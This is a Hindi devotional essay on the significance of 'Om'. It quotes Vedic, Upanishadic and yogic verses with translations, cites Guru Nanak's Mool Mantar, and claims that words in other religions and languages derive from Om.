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ओ३म् की महिमा

वेद ने भी और उपनिषदों ने भी ‘ओ३म्’ द्वारा प्रभु दर्शन का आदेश दिया है।
यजुर्वेद में कहा है-
*ओ३म् क्रतो स्मर ।।-(यजु० ४०/१५)*
“हे कर्मशील ! ‘ओ३म् का स्मरण कर।”
यजुर्वेद के दूसरे ही अध्याय में यह आज्ञा है-
*ओ३म् प्रतिष्ठ ।।-(यजु० २/१३)*
” ‘ओ३म्’ में विश्वास-आस्था रख !”
गोपथ ब्राह्मण में आता है-
*आत्मभैषज्यमात्मकैवल्यमोंकारः ।।-(कण्डिका ३०)*
“ओंकार आत्मा की चिकित्सा है और आत्मा को मुक्ति देने वाला है।”
माण्डूक्योपनिषद् का पहला ही आदेश यह है-
*ओमित्येतदक्षरमिदं सर्वं तस्योपव्याख्यानम् ।*
*भूतं भवद् भविष्यदिति सर्वमोङ्कार एव ।। १।।*
“यह ‘ओ३म्’ अक्षर क्षीण न होने वाला अविनाशी है,यह सम्पूर्ण भूत,वर्तमान और भविष्यत् ओंकार का व्याख्यान् है।सभी कुछ ओंकार में है।”
अर्थात् ओंकार से बाहर कुछ नहीं,कुछ भी नहीं।
छान्दोग्योपनिषद् का ऋषि कहता है-
*ओ३म् इत्येतदक्षरमुद्गीथमुपासीत ।*
“मनुष्य ‘ओ३म्’ इस अक्षर को उद्गीथ समझकर उपासना करे।”
‘गोपथ ब्राह्मण’ के पूर्वभाग के पहले अध्याय की २२वीं कण्डिका में ‘ओ३म्’ की उपासना तथा जप का और भी एक रहस्य बतलाया है।वह यह है-
*”ब्राह्मण की यदि कोई इच्छा हो,तो तीन रात उपवास करे और पूर्व की और मुख करके मौन रहकर ,कुशासन पर बैठकर, सहस्र (एक हजार) बार ‘ओम्’ का जप करे,इससे सारे मनोरथ तथा कर्म सिद्ध होते हैं।”*
‘योगदर्शन’ समाधिपाद में ‘ओ३म्’ का जप और उसके अर्थों का चिन्तन करने का आदेश दिया है इसके साथ ही योग-साधना में जो विघ्न आकर खड़े होते हैं,उनको दूर करने का यह उपाय बताया है-
*तत्प्रतिषेधार्थमेकतत्त्वाभ्यासः ।। ३२ ।।*
“उन (विक्षेप-विघ्नों) को दूर करने के लिए एक तत्त्व (ओ३म्) का अभ्यास करना चाहिए।”
*सिक्ख पन्थ और गुरुवाणी में ओ३म् की महिमा*
गुरुनानक जी कहा करते थे-“एक ओंकार सत् नाम”।
इसी ओंकार सत् नाम से गुरुमंत्र निर्मित हुआ।जो इस प्रकार है-
*एक ओंकार सत् नाम कर्ता पुरखु निरभउ,निखैर,अकाल-मूरति,अजूनी,सैभं,गुरु-प्रसादि।”*
अर्थात् एक ओंकार ,सत नाम,वह एक है,ओंकार स्वरुप है,सत्यस्वरुप है,करता पुरुख है,समस्त जड़-चेतन जगत् की उत्पत्ति करता,उसकी पालन-पोषण करता और संहार करता है,निरभउ-भय से रहित है,निरवैर है अर्थात् सबका मित्र है।अकाल मूरति,काल तथा समय से रहित।कालातीत-अपरिवर्तनशील,सदा एकरस,सदा से मौजूद है वह ‘अजूनी’ अर्थात् किसी योनि से नहीं आया,सैभं अर्थात् वह अपने आप है,उसको उत्पन्न करने वाला कोई नहीं,वह उत्पन्न ही नहीं हुआ वह सदा से मौजूद है और “गुरु-प्रसादि” सच्चे गुरु की कृपा से प्राप्त होता है।
अतः गुरुनानक जी ने भी ओंकार को महत्व दिया है।
गुरु नानक जी कहते हैं ,एक ओंकार सत्य नाम,वह एक है।सत्य नाम है।वह जिस नाम से पुकारा जाता है,वह ओ३म् नाम उसका अपना ही है,वह हमने नहीं दिया और नाम तो मनुष्यों के दिये हुए हैं,वह अपना आप ही है।यह ओम् नाम तो किसी ने नहीं दिया।
यजुर्वेद में कहा है-
*ओ३म् खं ब्रह्म*-(यजु० ४०/१७)
अर्थात् “मैं आकाश की तरह सर्वत्र व्यापक और महान् हूं मेरा नाम ओम् है।”
*अन्य मत मतान्तरों में ओ३म्*
अन्य मत मतान्तरों में भी ओ३म् की महिमा और ओ३म् का परिवर्तित नाम विद्यमान हैं।मुसलमानो़ में आमीन,यहूदियों का एमन,सिक्खों का एक
ओंकार,अंग्रेजों का Omnipresent,Omnipotent,Omniscient ।
सम्पूर्ण विश्व में ही नहीं,सम्पूर्ण ब्रह्माण्ड में ओ३म् शब्द की महिमा है।विपत्ति में,मृत्यु में,ध्यान के अन्तिम क्षणों में बस ओ३म् ही शेष रह जाता है,शेष सब मन्त्र,ज्ञान-विज्ञान धूमिल हो जाता है।पौराणिकों की मूर्तियों व मन्दिरों के ऊपर ओ३म्,आरती में ओ३म्,नवजात शिशु के मुख में ओ३म्,सब स्थानों में ओ३म् ही ओ३म् है

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